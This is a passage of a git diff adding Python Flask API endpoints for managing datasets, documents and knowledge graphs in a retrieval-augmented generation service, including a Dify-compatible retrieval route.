+ File2DocumentService.delete_by_document_id(doc.id)
+ FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.type == "folder", File.name == kb.name])
+ if not KnowledgebaseService.delete_by_id(kb_id):
+ errors.append(f"Delete dataset error for {kb_id}")
+ continue
+ success_count += 1
+
+ if not errors:
+ return get_result()
+
+ error_message = f"Successfully deleted {success_count} datasets, {len(errors)} failed. Details: {'; '.join(errors)[:128]}..."
+ if success_count == 0:
+ return get_error_data_result(message=error_message)
+
+ return get_result(data={"success_count": success_count, "errors": errors[:5]}, message=error_message)
+ except OperationalError as e:
+ logging.exception(e)
+ return get_error_data_result(message="Database operation failed")
+
+
+@manager.route("/datasets/", methods=["PUT"]) # noqa: F821
+@token_required
+def update(tenant_id, dataset_id):
+ """
+ Update a dataset.
+ ---
+ tags:
+ - Datasets
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset to update.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ - in: body
+ name: body
+ description: Dataset update parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ name:
+ type: string
+ description: New name of the dataset.
+ avatar:
+ type: string
+ description: Updated base64 encoding of the avatar.
+ description:
+ type: string
+ description: Updated description of the dataset.
+ embedding_model:
+ type: string
+ description: Updated embedding model Name.
+ permission:
+ type: string
+ enum: ['me', 'team']
+ description: Updated dataset permission.
+ chunk_method:
+ type: string
+ enum: ["naive", "book", "email", "laws", "manual", "one", "paper",
+ "picture", "presentation", "qa", "table", "tag"
+ ]
+ description: Updated chunking method.
+ pagerank:
+ type: integer
+ description: Updated page rank.
+ parser_config:
+ type: object
+ description: Updated parser configuration.
+ responses:
+ 200:
+ description: Successful operation.
+ schema:
+ type: object
+ """
+ # Field name transformations during model dump:
+ # | Original | Dump Output |
+ # |----------------|-------------|
+ # | embedding_model| embd_id |
+ # | chunk_method | parser_id |
+ extras = {"dataset_id": dataset_id}
+ req, err = validate_and_parse_json_request(request, UpdateDatasetReq, extras=extras, exclude_unset=True)
+ if err is not None:
+ return get_error_argument_result(err)
+
+ if not req:
+ return get_error_argument_result(message="No properties were modified")
+
+ try:
+ kb = KnowledgebaseService.get_or_none(id=dataset_id, tenant_id=tenant_id)
+ if kb is None:
+ return get_error_permission_result(message=f"User '{tenant_id}' lacks permission for dataset '{dataset_id}'")
+
+ if req.get("parser_config"):
+ req["parser_config"] = deep_merge(kb.parser_config, req["parser_config"])
+
+ if (chunk_method := req.get("parser_id")) and chunk_method != kb.parser_id:
+ if not req.get("parser_config"):
+ req["parser_config"] = get_parser_config(chunk_method, None)
+ elif "parser_config" in req and not req["parser_config"]:
+ del req["parser_config"]
+
+ if "name" in req and req["name"].lower() != kb.name.lower():
+ exists = KnowledgebaseService.get_or_none(name=req["name"], tenant_id=tenant_id, status=StatusEnum.VALID.value)
+ if exists:
+ return get_error_data_result(message=f"Dataset name '{req['name']}' already exists")
+
+ if "embd_id" in req:
+ if not req["embd_id"]:
+ req["embd_id"] = kb.embd_id
+ if kb.chunk_num != 0 and req["embd_id"] != kb.embd_id:
+ return get_error_data_result(message=f"When chunk_num ({kb.chunk_num}) > 0, embedding_model must remain {kb.embd_id}")
+ ok, err = verify_embedding_availability(req["embd_id"], tenant_id)
+ if not ok:
+ return err
+
+ if "pagerank" in req and req["pagerank"] != kb.pagerank:
+ if os.environ.get("DOC_ENGINE", "elasticsearch") == "infinity":
+ return get_error_argument_result(message="'pagerank' can only be set when doc_engine is elasticsearch")
+
+ if req["pagerank"] > 0:
+ settings.docStoreConn.update({"kb_id": kb.id}, {PAGERANK_FLD: req["pagerank"]}, search.index_name(kb.tenant_id), kb.id)
+ else:
+ # Elasticsearch requires PAGERANK_FLD be non-zero!
+ settings.docStoreConn.update({"exists": PAGERANK_FLD}, {"remove": PAGERANK_FLD}, search.index_name(kb.tenant_id), kb.id)
+
+ if not KnowledgebaseService.update_by_id(kb.id, req):
+ return get_error_data_result(message="Update dataset error.(Database error)")
+
+ ok, k = KnowledgebaseService.get_by_id(kb.id)
+ if not ok:
+ return get_error_data_result(message="Dataset created failed")
+
+ response_data = remap_dictionary_keys(k.to_dict())
+ return get_result(data=response_data)
+ except OperationalError as e:
+ logging.exception(e)
+ return get_error_data_result(message="Database operation failed")
+
+
+@manager.route("/datasets", methods=["GET"]) # noqa: F821
+@token_required
+def list_datasets(tenant_id):
+ """
+ List datasets.
+ ---
+ tags:
+ - Datasets
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: query
+ name: id
+ type: string
+ required: false
+ description: Dataset ID to filter.
+ - in: query
+ name: name
+ type: string
+ required: false
+ description: Dataset name to filter.
+ - in: query
+ name: page
+ type: integer
+ required: false
+ default: 1
+ description: Page number.
+ - in: query
+ name: page_size
+ type: integer
+ required: false
+ default: 30
+ description: Number of items per page.
+ - in: query
+ name: orderby
+ type: string
+ required: false
+ default: "create_time"
+ description: Field to order by.
+ - in: query
+ name: desc
+ type: boolean
+ required: false
+ default: true
+ description: Order in descending.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Successful operation.
+ schema:
+ type: array
+ items:
+ type: object
+ """
+ args, err = validate_and_parse_request_args(request, ListDatasetReq)
+ if err is not None:
+ return get_error_argument_result(err)
+
+ try:
+ kb_id = request.args.get("id")
+ name = args.get("name")
+ if kb_id:
+ kbs = KnowledgebaseService.get_kb_by_id(kb_id, tenant_id)
+
+ if not kbs:
+ return get_error_permission_result(message=f"User '{tenant_id}' lacks permission for dataset '{kb_id}'")
+ if name:
+ kbs = KnowledgebaseService.get_kb_by_name(name, tenant_id)
+ if not kbs:
+ return get_error_permission_result(message=f"User '{tenant_id}' lacks permission for dataset '{name}'")
+
+ tenants = TenantService.get_joined_tenants_by_user_id(tenant_id)
+ kbs = KnowledgebaseService.get_list(
+ [m["tenant_id"] for m in tenants],
+ tenant_id,
+ args["page"],
+ args["page_size"],
+ args["orderby"],
+ args["desc"],
+ kb_id,
+ name,
+ )
+
+ response_data_list = []
+ for kb in kbs:
+ response_data_list.append(remap_dictionary_keys(kb))
+ return get_result(data=response_data_list)
+ except OperationalError as e:
+ logging.exception(e)
+ return get_error_data_result(message="Database operation failed")
+
+@manager.route('/datasets//knowledge_graph', methods=['GET']) # noqa: F821
+@token_required
+def knowledge_graph(tenant_id,dataset_id):
+ if not KnowledgebaseService.accessible(dataset_id, tenant_id):
+ return get_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ _, kb = KnowledgebaseService.get_by_id(dataset_id)
+ req = {
+ "kb_id": [dataset_id],
+ "knowledge_graph_kwd": ["graph"]
+ }
+
+ obj = {"graph": {}, "mind_map": {}}
+ if not settings.docStoreConn.indexExist(search.index_name(kb.tenant_id), dataset_id):
+ return get_result(data=obj)
+ sres = settings.retrievaler.search(req, search.index_name(kb.tenant_id), [dataset_id])
+ if not len(sres.ids):
+ return get_result(data=obj)
+
+ for id in sres.ids[:1]:
+ ty = sres.field[id]["knowledge_graph_kwd"]
+ try:
+ content_json = json.loads(sres.field[id]["content_with_weight"])
+ except Exception:
+ continue
+
+ obj[ty] = content_json
+
+ if "nodes" in obj["graph"]:
+ obj["graph"]["nodes"] = sorted(obj["graph"]["nodes"], key=lambda x: x.get("pagerank", 0), reverse=True)[:256]
+ if "edges" in obj["graph"]:
+ node_id_set = { o["id"] for o in obj["graph"]["nodes"] }
+ filtered_edges = [o for o in obj["graph"]["edges"] if o["source"] != o["target"] and o["source"] in node_id_set and o["target"] in node_id_set]
+ obj["graph"]["edges"] = sorted(filtered_edges, key=lambda x: x.get("weight", 0), reverse=True)[:128]
+ return get_result(data=obj)
+
+@manager.route('/datasets//knowledge_graph', methods=['DELETE']) # noqa: F821
+@token_required
+def delete_knowledge_graph(tenant_id,dataset_id):
+ if not KnowledgebaseService.accessible(dataset_id, tenant_id):
+ return get_result(
+ data=False,
+ message='No authorization.',
+ code=settings.RetCode.AUTHENTICATION_ERROR
+ )
+ _, kb = KnowledgebaseService.get_by_id(dataset_id)
+ settings.docStoreConn.delete({"knowledge_graph_kwd": ["graph", "subgraph", "entity", "relation"]}, search.index_name(kb.tenant_id), dataset_id)
+
+ return get_result(data=True)
diff --git a/api/apps/sdk/dify_retrieval.py b/api/apps/sdk/dify_retrieval.py
new file mode 100644
index 0000000..446d4d7
--- /dev/null
+++ b/api/apps/sdk/dify_retrieval.py
@@ -0,0 +1,104 @@
+ #
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+
+from flask import request, jsonify
+
+from api.db import LLMType
+from api.db.services.document_service import DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api import settings
+from api.utils.api_utils import validate_request, build_error_result, apikey_required
+from rag.app.tag import label_question
+from api.db.services.dialog_service import meta_filter, convert_conditions
+
+
+@manager.route('/dify/retrieval', methods=['POST']) # noqa: F821
+@apikey_required
+@validate_request("knowledge_id", "query")
+def retrieval(tenant_id):
+ req = request.json
+ question = req["query"]
+ kb_id = req["knowledge_id"]
+ use_kg = req.get("use_kg", False)
+ retrieval_setting = req.get("retrieval_setting", {})
+ similarity_threshold = float(retrieval_setting.get("score_threshold", 0.0))
+ top = int(retrieval_setting.get("top_k", 1024))
+ metadata_condition = req.get("metadata_condition",{})
+ metas = DocumentService.get_meta_by_kbs([kb_id])
+
+ doc_ids = []
+ try:
+
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not e:
+ return build_error_result(message="Knowledgebase not found!", code=settings.RetCode.NOT_FOUND)
+
+ embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id)
+ print(metadata_condition)
+ print("after",convert_conditions(metadata_condition))
+ doc_ids.extend(meta_filter(metas, convert_conditions(metadata_condition)))
+ print("doc_ids",doc_ids)
+ if not doc_ids and metadata_condition is not None:
+ doc_ids = ['-999']
+ ranks = settings.retrievaler.retrieval(
+ question,
+ embd_mdl,
+ kb.tenant_id,
+ [kb_id],
+ page=1,
+ page_size=top,
+ similarity_threshold=similarity_threshold,
+ vector_similarity_weight=0.3,
+ top=top,
+ doc_ids=doc_ids,
+ rank_feature=label_question(question, [kb])
+ )
+
+ if use_kg:
+ ck = settings.kg_retrievaler.retrieval(question,
+ [tenant_id],
+ [kb_id],
+ embd_mdl,
+ LLMBundle(kb.tenant_id, LLMType.CHAT))
+ if ck["content_with_weight"]:
+ ranks["chunks"].insert(0, ck)
+
+ records = []
+ for c in ranks["chunks"]:
+ e, doc = DocumentService.get_by_id( c["doc_id"])
+ c.pop("vector", None)
+ meta = getattr(doc, 'meta_fields', {})
+ meta["doc_id"] = c["doc_id"]
+ records.append({
+ "content": c["content_with_weight"],
+ "score": c["similarity"],
+ "title": c["docnm_kwd"],
+ "metadata": meta
+ })
+
+ return jsonify({"records": records})
+ except Exception as e:
+ if str(e).find("not_found") > 0:
+ return build_error_result(
+ message='No chunk found! Check the chunk status please!',
+ code=settings.RetCode.NOT_FOUND
+ )
+ logging.exception(e)
+ return build_error_result(message=str(e), code=settings.RetCode.SERVER_ERROR)
+
+
diff --git a/api/apps/sdk/doc.py b/api/apps/sdk/doc.py
new file mode 100644
index 0000000..6008afd
--- /dev/null
+++ b/api/apps/sdk/doc.py
@@ -0,0 +1,1497 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import datetime
+import logging
+import pathlib
+import re
+from io import BytesIO
+
+import xxhash
+from flask import request, send_file
+from peewee import OperationalError
+from pydantic import BaseModel, Field, validator
+
+from api import settings
+from api.constants import FILE_NAME_LEN_LIMIT
+from api.db import FileSource, FileType, LLMType, ParserType, TaskStatus
+from api.db.db_models import File, Task
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.task_service import TaskService, queue_tasks
+from api.db.services.dialog_service import meta_filter, convert_conditions
+from api.utils.api_utils import check_duplicate_ids, construct_json_result, get_error_data_result, get_parser_config, get_result, server_error_response, token_required
+from rag.app.qa import beAdoc, rmPrefix
+from rag.app.tag import label_question
+from rag.nlp import rag_tokenizer, search
+from rag.prompts.generator import cross_languages, keyword_extraction
+from rag.utils import rmSpace
+from rag.utils.storage_factory import STORAGE_IMPL
+
+MAXIMUM_OF_UPLOADING_FILES = 256
+
+
+class Chunk(BaseModel):
+ id: str = ""
+ content: str = ""
+ document_id: str = ""
+ docnm_kwd: str = ""
+ important_keywords: list = Field(default_factory=list)
+ questions: list = Field(default_factory=list)
+ question_tks: str = ""
+ image_id: str = ""
+ available: bool = True
+ positions: list[list[int]] = Field(default_factory=list)
+
+ @validator("positions")
+ def validate_positions(cls, value):
+ for sublist in value:
+ if len(sublist) != 5:
+ raise ValueError("Each sublist in positions must have a length of 5")
+ return value
+
+
+@manager.route("/datasets//documents", methods=["POST"]) # noqa: F821
+@token_required
+async def upload(dataset_id, tenant_id):
+ """
+ Upload documents to a dataset.
+ ---
+ tags:
+ - Documents
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ - in: formData
+ name: file
+ type: file
+ required: true
+ description: Document files to upload.
+ responses:
+ 200:
+ description: Successfully uploaded documents.
+ schema:
+ type: object
+ properties:
+ data:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: Document ID.
+ name:
+ type: string
+ description: Document name.
+ chunk_count:
+ type: integer
+ description: Number of chunks.
+ token_count:
+ type: integer
+ description: Number of tokens.
+ dataset_id:
+ type: string
+ description: ID of the dataset.
+ chunk_method:
+ type: string
+ description: Chunking method used.
+ run:
+ type: string
+ description: Processing status.
+ """
+ if "file" not in request.files:
+ return get_error_data_result(message="No file part!", code=settings.RetCode.ARGUMENT_ERROR)
+ file_objs = request.files.getlist("file")
+ for file_obj in file_objs:
+ if file_obj.filename == "":
+ return get_result(message="No file selected!", code=settings.RetCode.ARGUMENT_ERROR)
+ if len(file_obj.filename.encode("utf-8")) > FILE_NAME_LEN_LIMIT:
+ return get_result(message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR)
+ """
+ # total size
+ total_size = 0
+ for file_obj in file_objs:
+ file_obj.seek(0, os.SEEK_END)
+ total_size += file_obj.tell()
+ file_obj.seek(0)
+ MAX_TOTAL_FILE_SIZE = 10 * 1024 * 1024
+ if total_size > MAX_TOTAL_FILE_SIZE:
+ return get_result(
+ message=f"Total file size exceeds 10MB limit! ({total_size / (1024 * 1024):.2f} MB)",
+ code=settings.RetCode.ARGUMENT_ERROR,
+ )
+ """
+ e, kb = KnowledgebaseService.get_by_id(dataset_id)
+ if not e:
+ raise LookupError(f"Can't find the dataset with ID {dataset_id}!")
+ err, files = await FileService.upload_document(kb, file_objs, tenant_id)
+ if err:
+ return get_result(message="\n".join(err), code=settings.RetCode.SERVER_ERROR)
+ # rename key's name
+ renamed_doc_list = []
+ for file in files:
+ doc = file[0]
+ key_mapping = {
+ "chunk_num": "chunk_count",
+ "kb_id": "dataset_id",
+ "token_num": "token_count",
+ "parser_id": "chunk_method",
+ }
+ renamed_doc = {}
+ for key, value in doc.items():
+ new_key = key_mapping.get(key, key)
+ renamed_doc[new_key] = value
+ renamed_doc["run"] = "UNSTART"
+ renamed_doc_list.append(renamed_doc)
+ return get_result(data=renamed_doc_list)
+
+
+@manager.route("/datasets//documents/", methods=["PUT"]) # noqa: F821
+@token_required
+def update_doc(tenant_id, dataset_id, document_id):
+ """
+ Update a document within a dataset.
+ ---
+ tags:
+ - Documents
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: path
+ name: document_id
+ type: string
+ required: true
+ description: ID of the document to update.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ - in: body
+ name: body
+ description: Document update parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ name:
+ type: string
+ description: New name of the document.
+ parser_config:
+ type: object
+ description: Parser configuration.
+ chunk_method:
+ type: string
+ description: Chunking method.
+ enabled:
+ type: boolean
+ description: Document status.
+ responses:
+ 200:
+ description: Document updated successfully.
+ schema:
+ type: object
+ """
+ req = request.json
+ if not KnowledgebaseService.query(id=dataset_id, tenant_id=tenant_id):
+ return get_error_data_result(message="You don't own the dataset.")
+ e, kb = KnowledgebaseService.get_by_id(dataset_id)
+ if not e:
+ return get_error_data_result(message="Can't find this knowledgebase!")
+ doc = DocumentService.query(kb_id=dataset_id, id=document_id)
+ if not doc:
+ return get_error_data_result(message="The dataset doesn't own the document.")
+ doc = doc[0]
+ if "chunk_count" in req:
+ if req["chunk_count"] != doc.chunk_num:
+ return get_error_data_result(message="Can't change `chunk_count`.")
+ if "token_count" in req:
+ if req["token_count"] != doc.token_num:
+ return get_error_data_result(message="Can't change `token_count`.")
+ if "progress" in req:
+ if req["progress"] != doc.progress:
+ return get_error_data_result(message="Can't change `progress`.")
+
+ if "meta_fields" in req:
+ if not isinstance(req["meta_fields"], dict):
+ return get_error_data_result(message="meta_fields must be a dictionary")
+ DocumentService.update_meta_fields(document_id, req["meta_fields"])
+
+ if "name" in req and req["name"] != doc.name:
+ if len(req["name"].encode("utf-8")) > FILE_NAME_LEN_LIMIT:
+ return get_result(
+ message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.",
+ code=settings.RetCode.ARGUMENT_ERROR,
+ )
+ if pathlib.Path(req["name"].lower()).suffix != pathlib.Path(doc.name.lower()).suffix:
+ return get_result(
+ message="The extension of file can't be changed",
+ code=settings.RetCode.ARGUMENT_ERROR,
+ )
+ for d in DocumentService.query(name=req["name"], kb_id=doc.kb_id):
+ if d.name == req["name"]:
+ return get_error_data_result(message="Duplicated document name in the same dataset.")
+ if not DocumentService.update_by_id(document_id, {"name": req["name"]}):
+ return get_error_data_result(message="Database error (Document rename)!")
+
+ informs = File2DocumentService.get_by_document_id(document_id)
+ if informs:
+ e, file = FileService.get_by_id(informs[0].file_id)
+ FileService.update_by_id(file.id, {"name": req["name"]})
+
+ if "parser_config" in req:
+ DocumentService.update_parser_config(doc.id, req["parser_config"])
+ if "chunk_method" in req:
+ valid_chunk_method = {"naive", "manual", "qa", "table", "paper", "book", "laws", "presentation", "picture", "one", "knowledge_graph", "email", "tag"}
+ if req.get("chunk_method") not in valid_chunk_method:
+ return get_error_data_result(f"`chunk_method` {req['chunk_method']} doesn't exist")
+
+ if doc.type == FileType.VISUAL or re.search(r"\.(ppt|pptx|pages)$", doc.name):
+ return get_error_data_result(message="Not supported yet!")
+
+ if doc.parser_id.lower() != req["chunk_method"].lower():
+ e = DocumentService.update_by_id(
+ doc.id,
+ {
+ "parser_id": req["chunk_method"],
+ "progress": 0,
+ "progress_msg": "",
+ "run": TaskStatus.UNSTART.value,
+ },
+ )
+ if not e:
+ return get_error_data_result(message="Document not found!")
+ if not req.get("parser_config"):
+ req["parser_config"] = get_parser_config(req["chunk_method"], req.get("parser_config"))
+ DocumentService.update_parser_config(doc.id, req["parser_config"])
+ if doc.token_num > 0:
+ e = DocumentService.increment_chunk_num(
+ doc.id,
+ doc.kb_id,
+ doc.token_num * -1,
+ doc.chunk_num * -1,
+ doc.process_duration * -1,
+ )
+ if not e:
+ return get_error_data_result(message="Document not found!")
+ settings.docStoreConn.delete({"doc_id": doc.id}, search.index_name(tenant_id), dataset_id)
+
+ if "enabled" in req:
+ status = int(req["enabled"])
+ if doc.status != req["enabled"]:
+ try:
+ if not DocumentService.update_by_id(doc.id, {"status": str(status)}):
+ return get_error_data_result(message="Database error (Document update)!")
+
+ settings.docStoreConn.update({"doc_id": doc.id}, {"available_int": status}, search.index_name(kb.tenant_id), doc.kb_id)
+ return get_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+ try:
+ ok, doc = DocumentService.get_by_id(doc.id)
+ if not ok:
+ return get_error_data_result(message="Dataset created failed")
+ except OperationalError as e:
+ logging.exception(e)
+ return get_error_data_result(message="Database operation failed")
+
+ key_mapping = {
+ "chunk_num": "chunk_count",
+ "kb_id": "dataset_id",
+ "token_num": "token_count",
+ "parser_id": "chunk_method",
+ }
+ run_mapping = {
+ "0": "UNSTART",
+ "1": "RUNNING",
+ "2": "CANCEL",
+ "3": "DONE",
+ "4": "FAIL",
+ }
+ renamed_doc = {}
+ for key, value in doc.to_dict().items():
+ if key == "run":
+ renamed_doc["run"] = run_mapping.get(str(value))
+ new_key = key_mapping.get(key, key)
+ renamed_doc[new_key] = value
+ if key == "run":
+ renamed_doc["run"] = run_mapping.get(value)
+
+ return get_result(data=renamed_doc)
+
+
+@manager.route("/datasets//documents/", methods=["GET"]) # noqa: F821
+@token_required
+def download(tenant_id, dataset_id, document_id):
+ """
+ Download a document from a dataset.
+ ---
+ tags:
+ - Documents
+ security:
+ - ApiKeyAuth: []
+ produces:
+ - application/octet-stream
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: path
+ name: document_id
+ type: string
+ required: true
+ description: ID of the document to download.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Document file stream.
+ schema:
+ type: file
+ 400:
+ description: Error message.
+ schema:
+ type: object
+ """
+ if not document_id:
+ return get_error_data_result(message="Specify document_id please.")
+ if not KnowledgebaseService.query(id=dataset_id, tenant_id=tenant_id):
+ return get_error_data_result(message=f"You do not own the dataset {dataset_id}.")
+ doc = DocumentService.query(kb_id=dataset_id, id=document_id)
+ if not doc:
+ return get_error_data_result(message=f"The dataset not own the document {document_id}.")
+ # The process of downloading
+ doc_id, doc_location = File2DocumentService.get_storage_address(doc_id=document_id) # minio address
+ file_stream = STORAGE_IMPL.get(doc_id, doc_location)
+ if not file_stream:
+ return construct_json_result(message="This file is empty.", code=settings.RetCode.DATA_ERROR)
+ file = BytesIO(file_stream)
+ # Use send_file with a proper filename and MIME type
+ return send_file(
+ file,
+ as_attachment=True,
+ download_name=doc[0].name,
+ mimetype="application/octet-stream", # Set a default MIME type
+ )
+
+
+@manager.route("/datasets//documents", methods=["GET"]) # noqa: F821
+@token_required
+def list_docs(dataset_id, tenant_id):
+ """
+ List documents in a dataset.
+ ---
+ tags:
+ - Documents
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: query
+ name: id
+ type: string
+ required: false
+ description: Filter by document ID.
+ - in: query
+ name: page
+ type: integer
+ required: false
+ default: 1
+ description: Page number.
+ - in: query
+ name: page_size
+ type: integer
+ required: false
+ default: 30
+ description: Number of items per page.
+ - in: query
+ name: orderby
+ type: string
+ required: false
+ default: "create_time"
+ description: Field to order by.
+ - in: query
+ name: desc
+ type: boolean
+ required: false
+ default: true
+ description: Order in descending.
+ - in: query
+ name: create_time_from
+ type: integer
+ required: false
+ default: 0
+ description: Unix timestamp for filtering documents created after this time. 0 means no filter.
+ - in: query
+ name: create_time_to
+ type: integer
+ required: false
+ default: 0
+ description: Unix timestamp for filtering documents created before this time. 0 means no filter.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: List of documents.
+ schema:
+ type: object
+ properties:
+ total:
+ type: integer
+ description: Total number of documents.
+ docs:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: Document ID.
+ name:
+ type: string
+ description: Document name.
+ chunk_count:
+ type: integer
+ description: Number of chunks.
+ token_count:
+ type: integer
+ description: Number of tokens.
+ dataset_id:
+ type: string
+ description: ID of the dataset.
+ chunk_method:
+ type: string
+ description: Chunking method used.
+ run:
+ type: string
+ description: Processing status.
+ """
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}. ")
+ id = request.args.get("id")
+ name = request.args.get("name")
+
+ if id and not DocumentService.query(id=id, kb_id=dataset_id):
+ return get_error_data_result(message=f"You don't own the document {id}.")
+ if name and not DocumentService.query(name=name, kb_id=dataset_id):
+ return get_error_data_result(message=f"You don't own the document {name}.")
+
+ page = int(request.args.get("page", 1))
+ keywords = request.args.get("keywords", "")
+ page_size = int(request.args.get("page_size", 30))
+ orderby = request.args.get("orderby", "create_time")
+ if request.args.get("desc") == "False":
+ desc = False
+ else:
+ desc = True
+ docs, tol = DocumentService.get_list(dataset_id, page, page_size, orderby, desc, keywords, id, name)
+
+ create_time_from = int(request.args.get("create_time_from", 0))
+ create_time_to = int(request.args.get("create_time_to", 0))
+
+ if create_time_from or create_time_to:
+ filtered_docs = []
+ for doc in docs:
+ doc_create_time = doc.get("create_time", 0)
+ if (create_time_from == 0 or doc_create_time >= create_time_from) and (create_time_to == 0 or doc_create_time <= create_time_to):
+ filtered_docs.append(doc)
+ docs = filtered_docs
+
+ # rename key's name
+ renamed_doc_list = []
+ key_mapping = {
+ "chunk_num": "chunk_count",
+ "kb_id": "dataset_id",
+ "token_num": "token_count",
+ "parser_id": "chunk_method",
+ }
+ run_mapping = {
+ "0": "UNSTART",
+ "1": "RUNNING",
+ "2": "CANCEL",
+ "3": "DONE",
+ "4": "FAIL",
+ }
+ for doc in docs:
+ renamed_doc = {}
+ for key, value in doc.items():
+ if key == "run":
+ renamed_doc["run"] = run_mapping.get(str(value))
+ new_key = key_mapping.get(key, key)
+ renamed_doc[new_key] = value
+ if key == "run":
+ renamed_doc["run"] = run_mapping.get(value)
+ renamed_doc_list.append(renamed_doc)
+ return get_result(data={"total": tol, "docs": renamed_doc_list})
+
+
+@manager.route("/datasets//documents", methods=["DELETE"]) # noqa: F821
+@token_required
+def delete(tenant_id, dataset_id):
+ """
+ Delete documents from a dataset.
+ ---
+ tags:
+ - Documents
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: path
+ name: dataset_id
+ type: string
+ required: true
+ description: ID of the dataset.
+ - in: body
+ name: body
+ description: Document deletion parameters.
+ required: true
+ schema:
+ type: object
+ properties:
+ ids:
+ type: array
+ items:
+ type: string
+ description: List of document IDs to delete.
+ - in: header
+ name: Authorization
+ type: string
+ required: true
+ description: Bearer token for authentication.
+ responses:
+ 200:
+ description: Documents deleted successfully.
+ schema:
+ type: object
+ """
+ if not KnowledgebaseService.accessible(kb_id=dataset_id, user_id=tenant_id):
+ return get_error_data_result(message=f"You don't own the dataset {dataset_id}. ")
+ req = request.json
+ if not req:
+ doc_ids = None
+ else:
+ doc_ids = req.get("ids")
+ if not doc_ids:
+ doc_list = []
+ docs = DocumentService.query(kb_id=dataset_id)
+ for doc in docs:
+ doc_list.append(doc.id)
+ else:
+ doc_list = doc_ids
+
+ unique_doc_ids, duplicate_messages = check_duplicate_ids(doc_list, "document")
+ doc_list = unique_doc_ids
+
+ root_folder = FileService.get_root_folder(tenant_id)
+ pf_id = root_folder["id"]
+ FileService.init_knowledgebase_docs(pf_id, tenant_id)
+ errors = ""
+ not_found = []
+ success_count = 0
+ for doc_id in doc_list:
+ try:
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ not_found.append(doc_id)
+ continue
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_error_data_result(message="Tenant not found!")
+
+ b, n = File2DocumentService.get_storage_address(doc_id=doc_id)
+
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_error_data_result(message="Database error (Document removal)!")
+
+ f2d = File2DocumentService.get_by_document_id(doc_id)
+ FileService.filter_delete(
+ [
+ File.source_type == FileSource.KNOWLEDGEBASE,
+ File.id == f2d[0].file_id,
+ ]
+ )
+ File2DocumentService.delete_by_document_id(doc_id)
+
+ STORAGE_IMPL.rm(b, n)
+ success_count += 1
+ except Exception as e:
+ errors += str(e)
+
+ if not_found:
+ return get_result(message=f"Documents not found: {not_found}", code=settings.RetCode.DATA_ERROR)
+
+ if errors:
+ return get_result(message=errors, code=settings.RetCode.SERVER_ERROR)
+
+ if duplicate_messages:
+ if success_count > 0:
+ return get_result(
+ message=f"Partially deleted {success_count} datasets with {len(duplicate_messages)} errors",
+ data={"success_count": success_count, "errors": duplicate_messages},
+ )
+ else:
+ return get_error_data_result(message=";".join(duplicate_messages))
+
+ return get_result()
+
+
+@manager.route("/datasets//chunks", methods=["POST"]) # noqa: F821
+@token_required
+def parse(tenant_id, dataset_id):
+ """
+ Start parsing documents into chunks.
+ ---
+ tags:
+ - Chunks
+ security:
